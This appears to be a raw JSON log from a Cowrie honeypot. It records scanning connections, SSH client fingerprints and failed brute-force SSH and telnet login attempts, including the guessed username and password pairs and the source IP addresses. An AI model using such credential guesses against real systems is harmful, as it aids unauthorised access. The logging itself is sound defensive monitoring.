{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30388,"dst_ip":"10.17.0.5","dst_port":23,"session":"208808e6fba7","protocol":"telnet","message":"New connection: 34.77.146.32:30388 (10.17.0.5:23) [session: 208808e6fba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:35.502264Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30394,"dst_ip":"10.17.0.5","dst_port":23,"session":"817cff06b0b8","protocol":"telnet","message":"New connection: 34.77.146.32:30394 (10.17.0.5:23) [session: 817cff06b0b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:35.664007Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:35.668844Z","src_ip":"34.77.146.32","session":"817cff06b0b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30406,"dst_ip":"10.17.0.5","dst_port":23,"session":"05084210030b","protocol":"telnet","message":"New connection: 34.77.146.32:30406 (10.17.0.5:23) [session: 05084210030b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:35.831689Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30412,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f4501a51f76","protocol":"telnet","message":"New connection: 34.77.146.32:30412 (10.17.0.5:23) [session: 1f4501a51f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:35.996595Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30416,"dst_ip":"10.17.0.5","dst_port":23,"session":"3525d9d7b998","protocol":"telnet","message":"New connection: 34.77.146.32:30416 (10.17.0.5:23) [session: 3525d9d7b998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.159213Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30424,"dst_ip":"10.17.0.5","dst_port":23,"session":"3630d262bccb","protocol":"telnet","message":"New connection: 34.77.146.32:30424 (10.17.0.5:23) [session: 3630d262bccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.321186Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":32786,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcf50d71ea6e","protocol":"ssh","message":"New connection: 91.211.95.158:32786 (159.203.135.109:22) [session: bcf50d71ea6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.332907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.338988Z","src_ip":"91.211.95.158","session":"bcf50d71ea6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.230","src_port":56767,"dst_ip":"10.17.0.5","dst_port":22,"session":"58429f253221","protocol":"ssh","message":"New connection: 91.230.168.230:56767 (10.17.0.5:22) [session: 58429f253221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.433088Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003c:\u007f\u0007\\xea\\xa7\\xf4#\\xacA\\xbb\\xa2Mh\u00cf\\xd8^F\\x9bL\\xa1\\xd7(\u0011\u5018F\u06ba\u0006 \\xba!?\\xe2?\\x82\u001f\\xf3\\xb4}\u00129\\xfb8\\xa2\\xe4\\xff\\xfc\\xccG\\xd53`s\\xa3\\xfa\\xbcJ\\xb2\\xbc\\xcf\u000e\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","message":"Remote SSH version: \u0016\u0003\u0003\u0002d\u0001\u0000\u0002`\u0003\u0003c:\u007f\u0007\\xea\\xa7\\xf4#\\xacA\\xbb\\xa2Mh\u00cf\\xd8^F\\x9bL\\xa1\\xd7(\u0011\u5018F\u06ba\u0006 \\xba!?\\xe2?\\x82\u001f\\xf3\\xb4}\u00129\\xfb8\\xa2\\xe4\\xff\\xfc\\xccG\\xd53`s\\xa3\\xfa\\xbcJ\\xb2\\xbc\\xcf\u000e\u0000\\x8a\u0000\u0016\u00003\u0000g\\xc0\\x9e\\xc0\\xa2\u0000\\x9e\u00009\u0000k\\xc0\\x9f\\xc0\\xa3\u0000\\x9f\u0000E\u0000\\xbe\u0000\\x88\u0000\\xc4\u0000\\x9a\\xc0\b\\xc0\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.437255Z","src_ip":"91.230.168.230","session":"58429f253221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.440042Z","src_ip":"91.230.168.230","session":"58429f253221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30430,"dst_ip":"10.17.0.5","dst_port":23,"session":"b347277a5a64","protocol":"telnet","message":"New connection: 34.77.146.32:30430 (10.17.0.5:23) [session: b347277a5a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.483415Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.493804Z","src_ip":"91.211.95.158","session":"bcf50d71ea6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.227","src_port":50345,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d87cd987ec","protocol":"ssh","message":"New connection: 91.230.168.227:50345 (10.17.0.5:22) [session: b2d87cd987ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.584567Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":35190,"dst_ip":"10.17.0.5","dst_port":23,"session":"d797faa2c7b5","protocol":"telnet","message":"New connection: 94.23.66.112:35190 (10.17.0.5:23) [session: d797faa2c7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.637232Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30440,"dst_ip":"10.17.0.5","dst_port":23,"session":"35995e87a212","protocol":"telnet","message":"New connection: 34.77.146.32:30440 (10.17.0.5:23) [session: 35995e87a212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.645548Z"}
{"eventid":"cowrie.session.closed","duration":0.004990577697753906,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.650392Z","src_ip":"34.77.146.32","session":"35995e87a212","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30450,"dst_ip":"10.17.0.5","dst_port":23,"session":"75d7592a2f9a","protocol":"telnet","message":"New connection: 34.77.146.32:30450 (10.17.0.5:23) [session: 75d7592a2f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.809540Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30466,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab69dc36c531","protocol":"telnet","message":"New connection: 34.77.146.32:30466 (10.17.0.5:23) [session: ab69dc36c531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.971595Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 3790","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 3790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:36.976060Z","src_ip":"34.77.146.32","session":"ab69dc36c531","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"carrefour","password":"carrefour123","message":"login attempt [carrefour/carrefour123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:37.136530Z","src_ip":"91.211.95.158","session":"bcf50d71ea6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30470,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7724151ac1c","protocol":"telnet","message":"New connection: 34.77.146.32:30470 (10.17.0.5:23) [session: d7724151ac1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:37.140650Z"}
{"eventid":"cowrie.session.closed","duration":0.006570577621459961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:37.147155Z","src_ip":"34.77.146.32","session":"d7724151ac1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:38.295545Z","src_ip":"91.211.95.158","session":"bcf50d71ea6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:39.587431Z","src_ip":"91.230.168.227","session":"b2d87cd987ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.9967823028564453,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:39.633930Z","src_ip":"94.23.66.112","session":"d797faa2c7b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":50622,"dst_ip":"10.17.0.5","dst_port":22,"session":"539f96dd9f36","protocol":"ssh","message":"New connection: 103.77.175.15:50622 (10.17.0.5:22) [session: 539f96dd9f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:46.305804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:46.310236Z","src_ip":"103.77.175.15","session":"539f96dd9f36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:46.558657Z","src_ip":"103.77.175.15","session":"539f96dd9f36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07041983","message":"login attempt [root/07041983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:47.306146Z","src_ip":"103.77.175.15","session":"539f96dd9f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.557127Z","src_ip":"103.77.175.15","session":"539f96dd9f36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.013687133789062,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.677588Z","src_ip":"34.77.146.32","session":"817cff06b0b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.34459900856018,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.685098Z","src_ip":"34.77.146.32","session":"0cb1f6be80ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.185539960861206,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.687700Z","src_ip":"34.77.146.32","session":"208808e6fba7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.512113571166992,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.690142Z","src_ip":"34.77.146.32","session":"6ca388b05c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.674885272979736,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.692697Z","src_ip":"34.77.146.32","session":"e78b0fe6a371","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.841269969940186,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.695094Z","src_ip":"34.77.146.32","session":"a26c7033c0b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.006684064865112,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.697629Z","src_ip":"34.77.146.32","session":"e62b521ec4ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.171456336975098,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.699826Z","src_ip":"34.77.146.32","session":"c9b70773114f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.350927829742432,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.703242Z","src_ip":"34.77.146.32","session":"482b2029f45e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.796034812927246,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.767490Z","src_ip":"34.77.146.32","session":"ab69dc36c531","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.962420463562012,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.771849Z","src_ip":"34.77.146.32","session":"75d7592a2f9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.453418016433716,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.774472Z","src_ip":"34.77.146.32","session":"3630d262bccb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.294080972671509,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.777345Z","src_ip":"34.77.146.32","session":"b347277a5a64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.632282018661499,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.791385Z","src_ip":"34.77.146.32","session":"3525d9d7b998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.799945831298828,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.796387Z","src_ip":"34.77.146.32","session":"1f4501a51f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.96742296218872,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:48.798931Z","src_ip":"34.77.146.32","session":"05084210030b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":29534,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf97e92308bb","protocol":"ssh","message":"New connection: 190.128.201.18:29534 (159.203.135.109:22) [session: cf97e92308bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:56.569882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:56.574666Z","src_ip":"190.128.201.18","session":"cf97e92308bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:56.711356Z","src_ip":"190.128.201.18","session":"cf97e92308bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":37064,"dst_ip":"10.17.0.5","dst_port":22,"session":"9350941d17ef","protocol":"ssh","message":"New connection: 103.27.238.116:37064 (10.17.0.5:22) [session: 9350941d17ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:56.874222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:56.879681Z","src_ip":"103.27.238.116","session":"9350941d17ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:57.148186Z","src_ip":"103.27.238.116","session":"9350941d17ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clientes","password":"clientes123","message":"login attempt [clientes/clientes123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:57.291986Z","src_ip":"190.128.201.18","session":"cf97e92308bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dochenka","message":"login attempt [root/dochenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:57.958743Z","src_ip":"103.27.238.116","session":"9350941d17ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:58.431951Z","src_ip":"190.128.201.18","session":"cf97e92308bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:59.230089Z","src_ip":"103.27.238.116","session":"9350941d17ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59522,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e84cbba2e20","protocol":"ssh","message":"New connection: 2.57.122.238:59522 (159.203.135.109:22) [session: 2e84cbba2e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:26.001459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:19:26.006089Z","src_ip":"2.57.122.238","session":"2e84cbba2e20","protocol":"ssh"}
